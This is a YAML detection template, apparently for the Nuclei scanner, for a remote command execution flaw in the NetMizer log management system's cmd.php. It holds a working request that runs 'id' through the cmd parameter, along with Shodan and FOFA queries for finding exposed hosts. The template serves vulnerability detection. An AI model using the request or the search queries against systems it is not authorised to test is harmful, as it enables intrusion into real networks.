40 lines
1.3 KiB
YAML
40 lines
1.3 KiB
YAML
id: netmizer-cmd-rce
|
|
|
|
info:
|
|
name: NetMizer LogManagement System cmd.php - Remote Code Execution
|
|
author: DhiyaneshDk
|
|
severity: critical
|
|
description: |
|
|
Remote Command Execution vulnerability in the NetMizer log management system cmd.php, and the attacker can execute the command by passing in the cmd parameter.
|
|
reference:
|
|
- https://github.com/Threekiii/Awesome-POC/blob/master/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/NetMizer%20%E6%97%A5%E5%BF%97%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20cmd.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: title:"NetMizer"
|
|
fofa-query: title="NetMizer 日志管理系统"
|
|
tags: netmizer,cmd,rce
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/data/manage/cmd.php?cmd=id"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- 'uid=(\d+)\(.*?\) gid=(\d+)\(.*?\) groups=([\d,]+)\(.*?\)'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'text/html'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100bca3eba156871a776ba7554d8f727f0f30cedfe9d284b384fb82f87f0db91eba022100b6fe8df69ab3b4b7201b030955c0e1ad759649b8f8d00e110d67467b21846aab:922c64590222798bb761d5b6d8e72950
|